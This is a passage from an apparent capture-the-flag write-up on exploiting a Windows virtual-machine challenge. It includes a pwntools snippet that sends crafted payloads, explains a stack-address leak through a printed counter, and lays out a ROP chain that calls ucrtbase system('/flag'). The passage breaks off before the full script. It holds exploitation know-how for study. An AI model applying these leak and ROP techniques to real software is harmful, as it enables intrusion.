p.sendafter(b'>> ', p64((PEB+0x1010-8+1) << 8 | 0x10) + p64((leak + 0x890 + 0x20) << 8 | 0x10))

stack = u64(p.recvline().rstrip().ljust(8, b'\x00')) << 8
print(f'Stack: {hex(stack)}')

Luckily, when VirtualMachine::Execute() completes, the program prints a message like:
total code ran: {random_number}

image.png

By debugging, we discovered that this random_number directly reveals information about the stack! Specifically:

  • Just before returning from VirtualMachine::Execute(), the value printed is calculated from the stack pointer (RDX) with only three nibbles (12 bits) of entropy left, because of:
    • sub edx, 211
    • and edx, 0xfff

So, although we only see the lower 12 bits of the address, that’s usually enough to bridge the gap between the leaked stack base and the true return address. As shown above, when we hit a breakpoint, RDX contains the stack address near the return value just a few bytes away from the actual return address!

Step 4: Achieving Code Execution with ROP

With all primitives and infoleaks in place, the final stage is to gain code execution by constructing a ROP chain. Here’s how it works in this challenge:

Leveraging the Stack Leak

After leaking the stack address, we observed that the stack region also contains a pointer to ucrtbase.dll. Using our arbitrary read, we can leak the base address of ucrtbase.dll, which is essential for reliably calling its exported functions.

image.png

Building the ROP Chain

Our objective is to call ucrtbase!system("/flag") to read the flag. To do this, we need a minimal ROP chain that:

  1. Sets up the first argument (RCX) to point to the string "/flag".
  2. Returns to the system function.

A typical ROP sequence for this on Windows x64 is:

  1. pop rcx ; ret (gadget): loads the address of the string into RCX.
  2. Pointer to string "/flag" (somewhere on the stack or heap, or written using ARB write).
  3. ret (stack alignment, if needed).
  4. ucrtbase!system (address to jump to).

Exploitation Flow

  1. Leak ucrtbase.dll base address via arbitrary read (reading a pointer from the stack region).
  2. Locate ROP gadgets (like pop rcx ; ret and a simple ret) using the base address.
  3. Write the string /flag somewhere writable (e.g., in your heap chunk or on the stack).
  4. Overwrite the saved return address on the stack with your ROP chain, which:
    • Sets RCX to the pointer to "/flag"
    • Returns to system
  5. When the VM function returns, your ROP chain is executed!

image.png

Full Script: